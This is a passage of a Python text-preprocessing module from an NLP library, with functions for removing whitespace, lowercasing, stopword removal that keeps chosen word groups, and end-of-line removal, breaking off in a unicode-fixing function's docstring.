53 | return text
54 |
55 |
56 | def remove_whitespace(text: str) -> str:
57 | """
58 | Given ``text`` str, remove one or more spacings and linebreaks.
59 | Also strip leading/trailing whitespace.
60 | eg. " foo bar " -> "foobar".
61 |
62 | Parameters
63 | ----------
64 | text : string
65 |
66 | Returns
67 | -------
68 | string
69 | """
70 | return constants.NONBREAKING_SPACE_REGEX.sub(
71 | "", constants.LINEBREAK_REGEX.sub("", text)
72 | ).strip()
73 |
74 |
75 | def lower_text(text: str) -> str:
76 | """
77 | Given ``text`` str, transform it into lowercase.
78 |
79 | Parameters
80 | ----------
81 | text : string
82 |
83 | Returns
84 | -------
85 | string
86 | """
87 | return text.lower()
88 |
89 |
90 | def filter_groups(token: str, ignored_stopwords: Optional[List[str]] = None) -> str:
91 | """
92 | Given ``token`` str and a list of groups of words
93 | that were concatenated into tokens, reverses the tokens
94 | to their ungrouped state.
95 |
96 | Parameters
97 | ----------
98 | token : string
99 | ignored_stopwords : list of strings
100 |
101 | Returns
102 | -------
103 | string
104 | """
105 | if ignored_stopwords:
106 | for group in ignored_stopwords:
107 | if token == remove_whitespace(group):
108 | token = group
109 | return token
110 |
111 |
112 | def ungroup_ignored_stopwords(
113 | tokens: List[str], ignored_stopwords: Optional[List[str]] = None
114 | ) -> List[str]:
115 | """
116 | Given ``tokens`` list of str and a list of groups of words
117 | that are concatenated in tokens, reverses the tokens to
118 | their ungrouped state.
119 |
120 | Parameters
121 | ----------
122 | tokens : list of strings
123 | ignored_stopwords : list of strings
124 |
125 | Returns
126 | -------
127 | list of strings
128 | """
129 | return [filter_groups(token, ignored_stopwords) for token in tokens]
130 |
131 |
132 | def remove_stopwords(
133 | text: str,
134 | lang: str,
135 | custom_stopwords: Optional[List[str]] = None,
136 | ignored_stopwords: Optional[List[str]] = None,
137 | ) -> str:
138 | """
139 | Given ``text`` str, remove classic stopwords for a given language and
140 | custom stopwords given as a list. Words and groups of words from
141 | ignored_stopwords list are ignored during stopwords removal.
142 |
143 | Parameters
144 | ----------
145 | text : string
146 | lang : string
147 | custom_stopwords : list of strings
148 | ignored_stopwords : list of strings
149 |
150 | Returns
151 | -------
152 | string
153 |
154 | Raises
155 | ------
156 | ValueError
157 | if ``custom_stopwords`` and ``ignored_stopwords`` have common elements.
158 | """
159 | if custom_stopwords and ignored_stopwords:
160 | common_elements = set(custom_stopwords).intersection(set(ignored_stopwords))
161 | if common_elements != set():
162 | raise ValueError(
163 | f"Found common words in custom_stopwords and ignored_stopwords: \
164 | {common_elements}. Please remove duplicated values."
165 | )
166 | stopwords = get_stopwords(lang)
167 | if ignored_stopwords:
168 | keyword_processor = KeywordProcessor()
169 | singletons_to_keep = [x for x in ignored_stopwords if len(x.split()) == 1]
170 | for group_of_words in ignored_stopwords:
171 | keyword_processor.add_keyword(group_of_words, remove_whitespace(group_of_words))
172 | text = keyword_processor.replace_keywords(text)
173 | else:
174 | singletons_to_keep = []
175 | if custom_stopwords:
176 | stopwords += custom_stopwords
177 | if not text:
178 | raise ValueError("Found empty text. Please fix it before using this function.")
179 | if lang in ["fr", "en"]:
180 | lang_module = {"fr": "fr_spacy", "en": "en_spacy"}[lang]
181 | tokens = tokenize(text, lang_module)
182 | else:
183 | tokens = text.split()
184 | tokens = [t for t in tokens if (t not in stopwords or t in singletons_to_keep)]
185 | tokens = ungroup_ignored_stopwords(tokens, ignored_stopwords)
186 | return " ".join(tokens)
187 |
188 |
189 | def remove_eol_characters(text: str) -> str:
190 | r"""
191 | Remove end of line (\n) char.
192 |
193 | Parameters
194 | ----------
195 | text : str
196 |
197 | Returns
198 | -------
199 | str
200 | """
201 | text = text.replace("\n", " ")
202 | return text
203 |
204 |
205 | def fix_bad_unicode(text: str, normalization: str = "NFC") -> str:
206 | """
207 | ----
208 | Copyright 2016 Chartbeat, Inc.
209 | Code from textacy: https://github.com/chartbeat-labs/textacy
210 | ----
211 |
212 | Fix unicode text that's "broken" using `ftfy
213 |